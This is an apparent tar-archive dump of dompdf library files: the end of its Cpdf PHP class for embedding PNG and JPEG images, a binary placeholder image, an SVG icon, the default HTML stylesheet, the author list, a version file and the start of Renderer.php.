            $color_channels->compositeImage($imagick, \Imagick::COMPOSITE_COPYBLUE, 0, 0);
            $color_channels->writeImage($tempfile_plain);

            $imgplain = @imagecreatefrompng($tempfile_plain);
        } else {
            // allocated colors cache
            $allocated_colors = [];

            // extract alpha channel
            for ($xpx = 0; $xpx < $wpx; ++$xpx) {
                for ($ypx = 0; $ypx < $hpx; ++$ypx) {
                    $color = imagecolorat($img, $xpx, $ypx);
                    $col = imagecolorsforindex($img, $color);
                    $alpha = $col['alpha'];

                    if ($eight_bit) {
                        // with gamma correction
                        $gammacorr = 2.2;
                        $pixel = round(pow((((127 - $alpha) * 255 / 127) / 255), $gammacorr) * 255);
                    } else {
                        // without gamma correction
                        $pixel = (127 - $alpha) * 2;

                        $key = $col['red'] . $col['green'] . $col['blue'];

                        if (!isset($allocated_colors[$key])) {
                            $pixel_img = imagecolorallocate($img, $col['red'], $col['green'], $col['blue']);
                            $allocated_colors[$key] = $pixel_img;
                        } else {
                            $pixel_img = $allocated_colors[$key];
                        }

                        imagesetpixel($img, $xpx, $ypx, $pixel_img);
                    }

                    imagesetpixel($imgalpha, $xpx, $ypx, $pixel);
                }
            }

            // extract image without alpha channel
            $imgplain = imagecreatetruecolor($wpx, $hpx);
            imagecopy($imgplain, $img, 0, 0, 0, 0, $wpx, $hpx);
            imagedestroy($img);

            imagepng($imgalpha, $tempfile_alpha);
            imagepng($imgplain, $tempfile_plain);
        }

        $this->imageAlphaList[$file] = [$tempfile_alpha, $tempfile_plain];

        // embed mask image
        if ($tempfile_alpha) {
            $this->addImagePng($imgalpha, $tempfile_alpha, $x, $y, $w, $h, true);
            imagedestroy($imgalpha);
            $this->imageCache[] = $tempfile_alpha;
        }

        // embed image, masked with previously embedded mask
        $this->addImagePng($imgplain, $tempfile_plain, $x, $y, $w, $h, false, ($tempfile_alpha !== null));
        imagedestroy($imgplain);
        $this->imageCache[] = $tempfile_plain;
    }

    /**
     * add a PNG image into the document, from a file
     * this should work with remote files
     *
     * @param $file
     * @param $x
     * @param $y
     * @param int $w
     * @param int $h
     * @throws Exception
     */
    function addPngFromFile($file, $x, $y, $w = 0, $h = 0)
    {
        if (!function_exists("imagecreatefrompng")) {
            throw new \Exception("The PHP GD extension is required, but is not installed.");
        }

        if (isset($this->imageAlphaList[$file])) {
            [$alphaFile, $plainFile] = $this->imageAlphaList[$file];

            if ($alphaFile) {
                $img = null;
                $this->addImagePng($img, $alphaFile, $x, $y, $w, $h, true);
            }

            $img = null;
            $this->addImagePng($img, $plainFile, $x, $y, $w, $h, false, ($plainFile !== null));
            return;
        }

        //if already cached, need not to read again
        if (isset($this->imagelist[$file])) {
            $img = null;
        } else {
            $info = file_get_contents($file, false, null, 24, 5);
            $meta = unpack("CbitDepth/CcolorType/CcompressionMethod/CfilterMethod/CinterlaceMethod", $info);
            $bit_depth = $meta["bitDepth"];
            $color_type = $meta["colorType"];

            // http://www.w3.org/TR/PNG/#11IHDR
            // 3 => indexed
            // 4 => greyscale with alpha
            // 6 => fullcolor with alpha
            $is_alpha = in_array($color_type, [4, 6]) || ($color_type == 3 && $bit_depth != 4);

            if ($is_alpha) { // exclude grayscale alpha
                $this->addImagePngAlpha($file, $x, $y, $w, $h, $color_type);
                return;
            }

            //png files typically contain an alpha channel.
            //pdf file format or class.pdf does not support alpha blending.
            //on alpha blended images, more transparent areas have a color near black.
            //This appears in the result on not storing the alpha channel.
            //Correct would be the box background image or its parent when transparent.
            //But this would make the image dependent on the background.
            //Therefore create an image with white background and copy in
            //A more natural background than black is white.
            //Therefore create an empty image with white background and merge the
            //image in with alpha blending.
            $imgtmp = @imagecreatefrompng($file);
            if (!$imgtmp) {
                return;
            }
            $sx = imagesx($imgtmp);
            $sy = imagesy($imgtmp);
            $img = imagecreatetruecolor($sx, $sy);
            imagealphablending($img, true);

            // @todo is it still needed ??
            $ti = imagecolortransparent($imgtmp);
            if ($ti >= 0) {
                $tc = imagecolorsforindex($imgtmp, $ti);
                $ti = imagecolorallocate($img, $tc['red'], $tc['green'], $tc['blue']);
                imagefill($img, 0, 0, $ti);
                imagecolortransparent($img, $ti);
            } else {
                imagefill($img, 1, 1, imagecolorallocate($img, 255, 255, 255));
            }

            imagecopy($img, $imgtmp, 0, 0, 0, 0, $sx, $sy);
            imagedestroy($imgtmp);
        }
        $this->addImagePng($img, $file, $x, $y, $w, $h);

        if ($img) {
            imagedestroy($img);
        }
    }

    /**
     * add an SVG image into the document from a file
     *
     * @param $file
     * @param $x
     * @param $y
     * @param int $w
     * @param int $h
     */
    function addSvgFromFile($file, $x, $y, $w = 0, $h = 0)
    {
        $doc = new \Svg\Document();
        $doc->loadFile($file);
        $dimensions = $doc->getDimensions();

        $this->save();

        $this->transform([$w / $dimensions["width"], 0, 0, $h / $dimensions["height"], $x, $y]);

        $surface = new \Svg\Surface\SurfaceCpdf($doc, $this);
        $doc->render($surface);

        $this->restore();
    }

    /**
     * add a PNG image into the document, from a memory buffer of the file
     *
     * @param $data
     * @param $file
     * @param $x
     * @param $y
     * @param float $w
     * @param float $h
     * @param bool $is_mask
     * @param null $mask
     */
    function addPngFromBuf(&$data, $file, $x, $y, $w = 0.0, $h = 0.0, $is_mask = false, $mask = null)
    {
        if (isset($this->imagelist[$file])) {
            $data = null;
            $info['width'] = $this->imagelist[$file]['w'];
            $info['height'] = $this->imagelist[$file]['h'];
            $label = $this->imagelist[$file]['label'];
        } else {
            if ($data == null) {
                $this->addMessage('addPngFromBuf error - data not present!');

                return;
            }

            $error = 0;

            if (!$error) {
                $header = chr(137) . chr(80) . chr(78) . chr(71) . chr(13) . chr(10) . chr(26) . chr(10);

                if (mb_substr($data, 0, 8, '8bit') != $header) {
                    $error = 1;

                    if (defined("DEBUGPNG") && DEBUGPNG) {
                        print '[addPngFromFile this file does not have a valid header ' . $file . ']';
                    }

                    $errormsg = 'this file does not have a valid header';
                }
            }

            if (!$error) {
                // set pointer
                $p = 8;
                $len = mb_strlen($data, '8bit');

                // cycle through the file, identifying chunks
                $haveHeader = 0;
                $info = [];
                $idata = '';
                $pdata = '';

                while ($p < $len) {
                    $chunkLen = $this->getBytes($data, $p, 4);
                    $chunkType = mb_substr($data, $p + 4, 4, '8bit');

                    switch ($chunkType) {
                        case 'IHDR':
                            // this is where all the file information comes from
                            $info['width'] = $this->getBytes($data, $p + 8, 4);
                            $info['height'] = $this->getBytes($data, $p + 12, 4);
                            $info['bitDepth'] = ord($data[$p + 16]);
                            $info['colorType'] = ord($data[$p + 17]);
                            $info['compressionMethod'] = ord($data[$p + 18]);
                            $info['filterMethod'] = ord($data[$p + 19]);
                            $info['interlaceMethod'] = ord($data[$p + 20]);

                            //print_r($info);
                            $haveHeader = 1;
                            if ($info['compressionMethod'] != 0) {
                                $error = 1;

                                //debugpng
                                if (defined("DEBUGPNG") && DEBUGPNG) {
                                    print '[addPngFromFile unsupported compression method ' . $file . ']';
                                }

                                $errormsg = 'unsupported compression method';
                            }

                            if ($info['filterMethod'] != 0) {
                                $error = 1;

                                //debugpng
                                if (defined("DEBUGPNG") && DEBUGPNG) {
                                    print '[addPngFromFile unsupported filter method ' . $file . ']';
                                }

                                $errormsg = 'unsupported filter method';
                            }
                            break;

                        case 'PLTE':
                            $pdata .= mb_substr($data, $p + 8, $chunkLen, '8bit');
                            break;

                        case 'IDAT':
                            $idata .= mb_substr($data, $p + 8, $chunkLen, '8bit');
                            break;

                        case 'tRNS':
                            //this chunk can only occur once and it must occur after the PLTE chunk and before IDAT chunk
                            //print "tRNS found, color type = ".$info['colorType']."\n";
                            $transparency = [];

                            switch ($info['colorType']) {
                                // indexed color, rbg
                                case 3:
                                    /* corresponding to entries in the plte chunk
                                     Alpha for palette index 0: 1 byte
                                     Alpha for palette index 1: 1 byte
                                     ...etc...
                                    */
                                    // there will be one entry for each palette entry. up until the last non-opaque entry.
                                    // set up an array, stretching over all palette entries which will be o (opaque) or 1 (transparent)
                                    $transparency['type'] = 'indexed';
                                    $trans = 0;

                                    for ($i = $chunkLen; $i >= 0; $i--) {
                                        if (ord($data[$p + 8 + $i]) == 0) {
                                            $trans = $i;
                                        }
                                    }

                                    $transparency['data'] = $trans;
                                    break;

                                // grayscale
                                case 0:
                                    /* corresponding to entries in the plte chunk
                                     Gray: 2 bytes, range 0 .. (2^bitdepth)-1
                                    */
                                    //            $transparency['grayscale'] = $this->PRVT_getBytes($data,$p+8,2); // g = grayscale
                                    $transparency['type'] = 'indexed';
                                    $transparency['data'] = ord($data[$p + 8 + 1]);
                                    break;

                                // truecolor
                                case 2:
                                    /* corresponding to entries in the plte chunk
                                     Red: 2 bytes, range 0 .. (2^bitdepth)-1
                                     Green: 2 bytes, range 0 .. (2^bitdepth)-1
                                     Blue: 2 bytes, range 0 .. (2^bitdepth)-1
                                    */
                                    $transparency['r'] = $this->getBytes($data, $p + 8, 2);
                                    // r from truecolor
                                    $transparency['g'] = $this->getBytes($data, $p + 10, 2);
                                    // g from truecolor
                                    $transparency['b'] = $this->getBytes($data, $p + 12, 2);
                                    // b from truecolor

                                    $transparency['type'] = 'color-key';
                                    break;

                                //unsupported transparency type
                                default:
                                    if (defined("DEBUGPNG") && DEBUGPNG) {
                                        print '[addPngFromFile unsupported transparency type ' . $file . ']';
                                    }
                                    break;
                            }

                            // KS End new code
                            break;

                        default:
                            break;
                    }

                    $p += $chunkLen + 12;
                }

                if (!$haveHeader) {
                    $error = 1;

                    //debugpng
                    if (defined("DEBUGPNG") && DEBUGPNG) {
                        print '[addPngFromFile information header is missing ' . $file . ']';
                    }

                    $errormsg = 'information header is missing';
                }

                if (isset($info['interlaceMethod']) && $info['interlaceMethod']) {
                    $error = 1;

                    //debugpng
                    if (defined("DEBUGPNG") && DEBUGPNG) {
                        print '[addPngFromFile no support for interlaced images in pdf ' . $file . ']';
                    }

                    $errormsg = 'There appears to be no support for interlaced images in pdf.';
                }
            }

            if (!$error && $info['bitDepth'] > 8) {
                $error = 1;

                //debugpng
                if (defined("DEBUGPNG") && DEBUGPNG) {
                    print '[addPngFromFile bit depth of 8 or less is supported ' . $file . ']';
                }

                $errormsg = 'only bit depth of 8 or less is supported';
            }

            if (!$error) {
                switch ($info['colorType']) {
                    case 3:
                        $color = 'DeviceRGB';
                        $ncolor = 1;
                        break;

                    case 2:
                        $color = 'DeviceRGB';
                        $ncolor = 3;
                        break;

                    case 0:
                        $color = 'DeviceGray';
                        $ncolor = 1;
                        break;

                    default:
                        $error = 1;

                        //debugpng
                        if (defined("DEBUGPNG") && DEBUGPNG) {
                            print '[addPngFromFile alpha channel not supported: ' . $info['colorType'] . ' ' . $file . ']';
                        }

                        $errormsg = 'transparency alpha channel not supported, transparency only supported for palette images.';
                }
            }

            if ($error) {
                $this->addMessage('PNG error - (' . $file . ') ' . $errormsg);

                return;
            }

            //print_r($info);
            // so this image is ok... add it in.
            $this->numImages++;
            $im = $this->numImages;
            $label = "I$im";
            $this->numObj++;

            //  $this->o_image($this->numObj,'new',array('label' => $label,'data' => $idata,'iw' => $w,'ih' => $h,'type' => 'png','ic' => $info['width']));
            $options = [
                'label'            => $label,
                'data'             => $idata,
                'bitsPerComponent' => $info['bitDepth'],
                'pdata'            => $pdata,
                'iw'               => $info['width'],
                'ih'               => $info['height'],
                'type'             => 'png',
                'color'            => $color,
                'ncolor'           => $ncolor,
                'masked'           => $mask,
                'isMask'           => $is_mask
            ];

            if (isset($transparency)) {
                $options['transparency'] = $transparency;
            }

            $this->o_image($this->numObj, 'new', $options);
            $this->imagelist[$file] = ['label' => $label, 'w' => $info['width'], 'h' => $info['height']];
        }

        if ($is_mask) {
            return;
        }

        if ($w <= 0 && $h <= 0) {
            $w = $info['width'];
            $h = $info['height'];
        }

        if ($w <= 0) {
            $w = $h / $info['height'] * $info['width'];
        }

        if ($h <= 0) {
            $h = $w * $info['height'] / $info['width'];
        }

        $this->addContent(sprintf("\nq\n%.3F 0 0 %.3F %.3F %.3F cm /%s Do\nQ", $w, $h, $x, $y, $label));
    }

    /**
     * add a JPEG image into the document, from a file
     *
     * @param $img
     * @param $x
     * @param $y
     * @param int $w
     * @param int $h
     */
    function addJpegFromFile($img, $x, $y, $w = 0, $h = 0)
    {
        // attempt to add a jpeg image straight from a file, using no GD commands
        // note that this function is unable to operate on a remote file.

        if (!file_exists($img)) {
            return;
        }

        if ($this->image_iscached($img)) {
            $data = null;
            $imageWidth = $this->imagelist[$img]['w'];
            $imageHeight = $this->imagelist[$img]['h'];
            $channels = $this->imagelist[$img]['c'];
        } else {
            $tmp = getimagesize($img);
            $imageWidth = $tmp[0];
            $imageHeight = $tmp[1];

            if (isset($tmp['channels'])) {
                $channels = $tmp['channels'];
            } else {
                $channels = 3;
            }

            $data = file_get_contents($img);
        }

        if ($w <= 0 && $h <= 0) {
            $w = $imageWidth;
        }

        if ($w == 0) {
            $w = $h / $imageHeight * $imageWidth;
        }

        if ($h == 0) {
            $h = $w * $imageHeight / $imageWidth;
        }

        $this->addJpegImage_common($data, $img, $imageWidth, $imageHeight, $x, $y, $w, $h, $channels);
    }

    /**
     * common code used by the two JPEG adding functions
     * @param $data
     * @param $imgname
     * @param $imageWidth
     * @param $imageHeight
     * @param $x
     * @param $y
     * @param int $w
     * @param int $h
     * @param int $channels
     */
    private function addJpegImage_common(
        &$data,
        $imgname,
        $imageWidth,
        $imageHeight,
        $x,
        $y,
        $w = 0,
        $h = 0,
        $channels = 3
    ) {
        if ($this->image_iscached($imgname)) {
            $label = $this->imagelist[$imgname]['label'];
            //debugpng
            //if (DEBUGPNG) print '[addJpegImage_common Duplicate '.$imgname.']';

        } else {
            if ($data == null) {
                $this->addMessage('addJpegImage_common error - (' . $imgname . ') data not present!');

                return;
            }

            // note that this function is not to be called externally
            // it is just the common code between the GD and the file options
            $this->numImages++;
            $im = $this->numImages;
            $label = "I$im";
            $this->numObj++;

            $this->o_image(
                $this->numObj,
                'new',
                [
                    'label'    => $label,
                    'data'     => &$data,
                    'iw'       => $imageWidth,
                    'ih'       => $imageHeight,
                    'channels' => $channels
                ]
            );

            $this->imagelist[$imgname] = [
                'label' => $label,
                'w'     => $imageWidth,
                'h'     => $imageHeight,
                'c'     => $channels
            ];
        }

        $this->addContent(sprintf("\nq\n%.3F 0 0 %.3F %.3F %.3F cm /%s Do\nQ ", $w, $h, $x, $y, $label));
    }

    /**
     * specify where the document should open when it first starts
     *
     * @param $style
     * @param int $a
     * @param int $b
     * @param int $c
     */
    function openHere($style, $a = 0, $b = 0, $c = 0)
    {
        // this function will open the document at a specified page, in a specified style
        // the values for style, and the required parameters are:
        // 'XYZ'  left, top, zoom
        // 'Fit'
        // 'FitH' top
        // 'FitV' left
        // 'FitR' left,bottom,right
        // 'FitB'
        // 'FitBH' top
        // 'FitBV' left
        $this->numObj++;
        $this->o_destination(
            $this->numObj,
            'new',
            ['page' => $this->currentPage, 'type' => $style, 'p1' => $a, 'p2' => $b, 'p3' => $c]
        );
        $id = $this->catalogId;
        $this->o_catalog($id, 'openHere', $this->numObj);
    }

    /**
     * Add JavaScript code to the PDF document
     *
     * @param string $code
     */
    function addJavascript($code)
    {
        $this->javascript .= $code;
    }

    /**
     * create a labelled destination within the document
     *
     * @param $label
     * @param $style
     * @param int $a
     * @param int $b
     * @param int $c
     */
    function addDestination($label, $style, $a = 0, $b = 0, $c = 0)
    {
        // associates the given label with the destination, it is done this way so that a destination can be specified after
        // it has been linked to
        // styles are the same as the 'openHere' function
        $this->numObj++;
        $this->o_destination(
            $this->numObj,
            'new',
            ['page' => $this->currentPage, 'type' => $style, 'p1' => $a, 'p2' => $b, 'p3' => $c]
        );
        $id = $this->numObj;

        // store the label->idf relationship, note that this means that labels can be used only once
        $this->destinations["$label"] = $id;
    }

    /**
     * define font families, this is used to initialize the font families for the default fonts
     * and for the user to add new ones for their fonts. The default bahavious can be overridden should
     * that be desired.
     *
     * @param $family
     * @param string $options
     */
    function setFontFamily($family, $options = '')
    {
        if (!is_array($options)) {
            if ($family === 'init') {
                // set the known family groups
                // these font families will be used to enable bold and italic markers to be included
                // within text streams. html forms will be used... <b></b> <i></i>
                $this->fontFamilies['Helvetica.afm'] =
                    [
                        'b'  => 'Helvetica-Bold.afm',
                        'i'  => 'Helvetica-Oblique.afm',
                        'bi' => 'Helvetica-BoldOblique.afm',
                        'ib' => 'Helvetica-BoldOblique.afm'
                    ];

                $this->fontFamilies['Courier.afm'] =
                    [
                        'b'  => 'Courier-Bold.afm',
                        'i'  => 'Courier-Oblique.afm',
                        'bi' => 'Courier-BoldOblique.afm',
                        'ib' => 'Courier-BoldOblique.afm'
                    ];

                $this->fontFamilies['Times-Roman.afm'] =
                    [
                        'b'  => 'Times-Bold.afm',
                        'i'  => 'Times-Italic.afm',
                        'bi' => 'Times-BoldItalic.afm',
                        'ib' => 'Times-BoldItalic.afm'
                    ];
            }
        } else {

            // the user is trying to set a font family
            // note that this can also be used to set the base ones to something else
            if (mb_strlen($family)) {
                $this->fontFamilies[$family] = $options;
            }
        }
    }

    /**
     * used to add messages for use in debugging
     *
     * @param $message
     */
    function addMessage($message)
    {
        $this->messages .= $message . "\n";
    }

    /**
     * a few functions which should allow the document to be treated transactionally.
     *
     * @param $action
     */
    function transaction($action)
    {
        switch ($action) {
            case 'start':
                // store all the data away into the checkpoint variable
                $data = get_object_vars($this);
                $this->checkpoint = $data;
                unset($data);
                break;

            case 'commit':
                if (is_array($this->checkpoint) && isset($this->checkpoint['checkpoint'])) {
                    $tmp = $this->checkpoint['checkpoint'];
                    $this->checkpoint = $tmp;
                    unset($tmp);
                } else {
                    $this->checkpoint = '';
                }
                break;

            case 'rewind':
                // do not destroy the current checkpoint, but move us back to the state then, so that we can try again
                if (is_array($this->checkpoint)) {
                    // can only abort if were inside a checkpoint
                    $tmp = $this->checkpoint;

                    foreach ($tmp as $k => $v) {
                        if ($k !== 'checkpoint') {
                            $this->$k = $v;
                        }
                    }
                    unset($tmp);
                }
                break;

            case 'abort':
                if (is_array($this->checkpoint)) {
                    // can only abort if were inside a checkpoint
                    $tmp = $this->checkpoint;
                    foreach ($tmp as $k => $v) {
                        $this->$k = $v;
                    }
                    unset($tmp);
                }
                break;
        }
    }
}
vendor/dompdf/dompdf/lib/res/broken_image.png000066600000001152151150443010015247 0ustar00�PNG


IHDR@@XGl�sBIT��O�PLTE��������त������ス���������ި	pHYs��~�tEXtSoftwareAdobe Fireworks CS4�ӠtEXtCreation Time04/12/11�#��IDATH����j�0���`�*�q��>� {�@�
�`��ذ��w�Ύ�I���Ћ��I��Vսu��u�����g}_
��,��:���͠l����]����ͽ��p�#`ݔPr�{n�������&���v�D ��D�	`�$�4�<�t��X��\��P�z��a�》�mV�-<|����##!�pWG��˗��>�Ӳ��ȣ�@݋<I��e�p�������+V���E+�i��T�#���J@M:'U�똀�y��>��X���4oޚf����Y> �@�E��(�/r߿�HI��.�.p.�@�8P&�Ɓ6����U(;�ȓH%�O"��O��Ⱥ[��������ߥ�IEND�B`�vendor/dompdf/dompdf/lib/res/broken_image.svg000066600000001105151150443010015260 0ustar00<?xml version="1.0"?>
<svg width="64" height="64" xmlns="http://www.w3.org/2000/svg">
 <g>
  <rect stroke="#666666" id="svg_1" height="60.499994" width="60.166667" y="1.666669" x="1.999998" stroke-width="1.5" fill="none"/>
  <line stroke-linecap="butt" stroke-linejoin="miter" id="svg_3" y2="59.333253" x2="59.749916" y1="4.333415" x1="4.250079" stroke-width="1.5" stroke="#999999" fill="none"/>
  <line stroke-linecap="butt" stroke-linejoin="miter" id="svg_4" y2="59.999665" x2="4.062838" y1="3.750342" x1="60.062164" stroke-width="1.5" stroke="#999999" fill="none"/>
 </g>
</svg>vendor/dompdf/dompdf/lib/res/html.css000066600000016472151150443010013610 0ustar00/**
 * dompdf default stylesheet.
 *
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 *
 * Portions from Mozilla
 * @link https://dxr.mozilla.org/mozilla-central/source/layout/style/res/html.css
 * @license http://mozilla.org/MPL/2.0/ Mozilla Public License, v. 2.0
 *
 * Portions from W3C
 * @link https://www.w3.org/TR/css-ui-3/#default-style-sheet
 *
 */

@page {
  margin: 1.2cm;
}

html {
  display: -dompdf-page !important;
  counter-reset: page;
}

/* blocks */

article,
aside,
details,
div,
dt,
figcaption,
footer,
form,
header,
hgroup,
main,
nav,
noscript,
section,
summary {
  display: block;
}

body {
  page-break-before: avoid;
  display: block !important;
  counter-increment: page;
}

p, dl, multicol {
  display: block;
  margin: 1em 0;
}

dd {
  display: block;
  margin-left: 40px;
}

blockquote, figure {
  display: block;
  margin: 1em 40px;
}

address {
  display: block;
  font-style: italic;
}

center {
  display: block;
  text-align: center;
}

blockquote[type=cite] {
  display: block;
  margin: 1em 0;
  padding-left: 1em;
  border-left: solid;
  border-color: blue;
  border-width: thin;
}

h1, h2, h3, h4, h5, h6 {
  display: block;
  font-weight: bold;
}

h1 {
  font-size: 2em;
  margin: .67em 0;
}

h2 {
  font-size: 1.5em;
  margin: .83em 0;
}

h3 {
  font-size: 1.17em;
  margin: 1em 0;
}

h4 {
  margin: 1.33em 0;
}

h5 {
  font-size: 0.83em;
  margin: 1.67em 0;
}

h6 {
  font-size: 0.67em;
  margin: 2.33em 0;
}

listing {
  display: block;
  font-family: fixed;
  font-size: medium;
  white-space: pre;
  margin: 1em 0;
}

plaintext, pre, xmp {
  display: block;
  font-family: fixed;
  white-space: pre;
  margin: 1em 0;
}

/* tables */

table {
  display: table;
  border-spacing: 2px;
  border-collapse: separate;
  margin-top: 0;
  margin-bottom: 0;
  text-indent: 0;
  text-align: left; /* quirk */
}

table[border] {
  border: outset gray;
}

table[border] td,
table[border] th {
  border: 1px inset gray;
}

table[border="0"] td,
table[border="0"] th {
  border-width: 0;
}

/* make sure backgrounds are inherited in tables  -- see bug 4510 */
td, th, tr {
  background: inherit;
}

/* caption inherits from table not table-outer */
caption {
  display: table-caption;
  text-align: center;
}

tr {
  display: table-row;
  vertical-align: inherit;
}

col {
  display: table-column;
}

colgroup {
  display: table-column-group;
}

tbody {
  display: table-row-group;
  vertical-align: middle;
}

thead {
  display: table-header-group;
  vertical-align: middle;
}

tfoot {
  display: table-footer-group;
  vertical-align: middle;
}

/* To simulate tbody auto-insertion */
table > tr {
  vertical-align: middle;
}

td {
  display: table-cell;
  vertical-align: inherit;
  text-align: inherit;
  padding: 1px;
}

th {
  display: table-cell;
  vertical-align: inherit;
  text-align: center;
  font-weight: bold;
  padding: 1px;
}

/* inlines */

q::before {
  content: open-quote;
}

q::after {
  content: close-quote;
}

:link {
  color: #00c;
  text-decoration: underline;
}

b, strong {
  font-weight: bolder;
}

i, cite, em, var, dfn {
  font-style: italic;
}

tt, code, kbd, samp {
  font-family: fixed;
}

u, ins {
  text-decoration: underline;
}

s, strike, del {
  text-decoration: line-through;
}

big {
  font-size: larger;
}

small {
  font-size: smaller;
}

sub {
  vertical-align: sub;
  font-size: smaller;
  line-height: normal;
}

sup {
  vertical-align: super;
  font-size: smaller;
  line-height: normal;
}

nobr {
  white-space: nowrap;
}

mark {
  background: yellow;
  color: black;
}

/* titles */

abbr[title], acronym[title] {
  text-decoration: dotted underline;
}

/* lists */

ul, menu, dir {
  display: block;
  list-style-type: disc;
  margin: 1em 0;
  padding-left: 40px;
}

ol {
  display: block;
  list-style-type: decimal;
  margin: 1em 0;
  padding-left: 40px;
}

li {
  display: list-item;
}

/*li::before {
  display: -dompdf-list-bullet !important;
  content: counter(-dompdf-default-counter) ". ";
  padding-right: 0.5em;
}*/

/* nested lists have no top/bottom margins */
:matches(ul, ol, dir, menu, dl) ul,
:matches(ul, ol, dir, menu, dl) ol,
:matches(ul, ol, dir, menu, dl) dir,
:matches(ul, ol, dir, menu, dl) menu,
:matches(ul, ol, dir, menu, dl) dl {
  margin-top: 0;
  margin-bottom: 0;
}

/* 2 deep unordered lists use a circle */
:matches(ul, ol, dir, menu) ul,
:matches(ul, ol, dir, menu) menu,
:matches(ul, ol, dir, menu) dir {
  list-style-type: circle;
}

/* 3 deep (or more) unordered lists use a square */
:matches(ul, ol, dir, menu) :matches(ul, ol, dir, menu) ul,
:matches(ul, ol, dir, menu) :matches(ul, ol, dir, menu) menu,
:matches(ul, ol, dir, menu) :matches(ul, ol, dir, menu) dir {
  list-style-type: square;
}

/* forms */
/* From https://www.w3.org/TR/css-ui-3/#default-style-sheet */
form {
  display: block;
}

input, button, select {
  display: inline-block;
  font-family: sans-serif;
}

input, button, textarea, select {
  background: #FFF;
  border: 1px solid #999;
  padding: 2px;
  margin: 2px;
}

input, select {
  width: 12em;
}

input[type=hidden] {
  display: none !important;
}

input[type=checkbox],
input[type=radio],
input[type=image] {
  width: auto;
  border: none;
  padding: 0;
  margin: 0;
}

input[type=button],
input[type=submit],
input[type=reset],
input[type=file],
button {
  width: auto;
  background: #CCC;
  text-align: center;
}

input[type=file] {
  width: 8em;
}

input::before {
  content: attr(value);
}

input[type=image][alt]::before {
  content: attr(alt);
}

input[type=file]::before {
  content: "Choose a file";
}

input[type=password][value]::before {
  font-family: "DejaVu Sans" !important;
  content: "\2022\2022\2022\2022\2022\2022\2022\2022";
  line-height: 1em;
}

input[type=password][value=""]::before {
  content: none;
}

input[type=checkbox],
input[type=radio],
select::after {
  font-family: "DejaVu Sans" !important;
  font-size: 18px;
  line-height: 1;
}

input[type=checkbox]::before {
  content: "\2610";
}

input[type=checkbox][checked]::before {
  content: "\2611";
}

input[type=radio]::before {
  content: "\25CB";
}

input[type=radio][checked]::before {
  content: "\25C9";
}

textarea {
  display: block;
  height: 3em;
  overflow: hidden;
  font-family: monospace;
  white-space: pre-wrap;
  overflow-wrap: break-word;
}

select {
  position: relative !important;
  overflow: hidden !important;
}

select::after {
  position: absolute;
  right: 0;
  top: 0;
  height: 5em;
  width: 1.4em;
  text-align: center;
  background: #CCC;
  content: "\25BE";
}

select option {
  display: none;
}

select option[selected] {
  display: inline;
}

fieldset {
  display: block;
  margin: 0.6em 2px 2px;
  padding: 0.75em;
  border: 1pt groove #666;
  position: relative;
}

fieldset > legend {
  position: absolute;
  top: -0.6em;
  left: 0.75em;
  padding: 0 0.3em;
  background: white;
}

legend {
  display: inline-block;
}

/* leafs */

hr {
  display: block;
  height: 0;
  border: 1px inset;
  margin: 0.5em auto 0.5em auto;
}

hr[size="1"] {
  border-style: solid none none none;
}

iframe {
  border: 2px inset;
}

noframes {
  display: block;
}

br {
  display: -dompdf-br;
}

img, img_generated {
  display: -dompdf-image !important;
}

dompdf_generated {
  display: inline;
}

/* hidden elements */
area, base, basefont, head, meta, script, style, title,
noembed, param {
  display: none;
  -dompdf-keep: yes;
}
vendor/dompdf/dompdf/AUTHORS.md000066600000000745151150443010012236 0ustar00Dompdf was designed and developed by Benj Carson.

### Current Team

* **Brian Sweeney** (maintainer)
* **Till Berger**

### Alumni

* **Benj Carson** (creator)
* **Fabien Ménager**
* **Simon Berger**
* **Orion Richardson**

### Contributors
* **Gabriel Bull**
* **Barry vd. Heuvel**
* **Ryan H. Masten**
* **Helmut Tischer**
* [and many more...](https://github.com/dompdf/dompdf/graphs/contributors)

### Thanks

Dompdf would not have been possible without strong community support.
vendor/dompdf/dompdf/VERSION000066600000000006151150443010011625 0ustar003.0.0
vendor/dompdf/dompdf/src/Renderer.php000066600000021433151150443010013632 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf;

use Dompdf\Renderer\AbstractRenderer;
use Dompdf\Renderer\Block;
use Dompdf\Renderer\Image;
use Dompdf\Renderer\Inline;
use Dompdf\Renderer\ListBullet;
use Dompdf\Renderer\TableCell;
use Dompdf\Renderer\TableRow;
use Dompdf\Renderer\TableRowGroup;
use Dompdf\Renderer\Text;

/**
 * Concrete renderer
 *
 * Instantiates several specific renderers in order to render any given frame.
 *
 * @package dompdf
 */
class Renderer extends AbstractRenderer
{

    /**
     * Array of renderers for specific frame types
     *
     * @var AbstractRenderer[]
     */
    protected $_renderers;

    /**
     * Cache of the callbacks array
     *
     * @var array
     */
    private $_callbacks;

    /**
     * Advance the canvas to the next page
     */
    function new_page()
    {
        $this->_canvas->new_page();
    }

    /**
     * Render frames recursively
     *
     * @param Frame $frame the frame to render
     */
    public function render(Frame $frame)
    {
        global $_dompdf_debug;

        $this->_check_callbacks("begin_frame", $frame);

        if ($_dompdf_debug) {
            echo $frame;
            flush();
        }

        $style = $frame->get_style();

        if (in_array($style->visibility, ["hidden", "collapse"], true)) {
            return;
        }

        $display = $style->display;
        $transformList = $style->transform;
        $hasTransform = $transformList !== [];

        // Starts the CSS transformation
        if ($hasTransform) {
            $this->_canvas->save();

            [$x, $y] = $frame->get_padding_box();
            [$originX, $originY] = $style->transform_origin;
            $w = (float) $style->length_in_pt($style->width);
            $h = (float) $style->length_in_pt($style->height);

            foreach ($transformList as $transform) {
                [$function, $values] = $transform;

                if ($function === "matrix") {
                    $function = "transform";
                } elseif ($function === "translate") {
                    $values[0] = $style->length_in_pt($values[0], $w);
                    $values[1] = $style->length_in_pt($values[1], $h);
                }

                $values[] = $x + $style->length_in_pt($originX, $w);
                $values[] = $y + $style->length_in_pt($originY, $h);

                call_user_func_array([$this->_canvas, $function], $values);
            }
        }

        switch ($display) {

            case "block":
            case "list-item":
            case "inline-block":
            case "table":
            case "inline-table":
                $this->_render_frame("block", $frame);
                break;

            case "inline":
                if ($frame->is_text_node()) {
                    $this->_render_frame("text", $frame);
                } else {
                    $this->_render_frame("inline", $frame);
                }
                break;

            case "table-cell":
                $this->_render_frame("table-cell", $frame);
                break;

            case "table-row":
                $this->_render_frame("table-row", $frame);
                break;

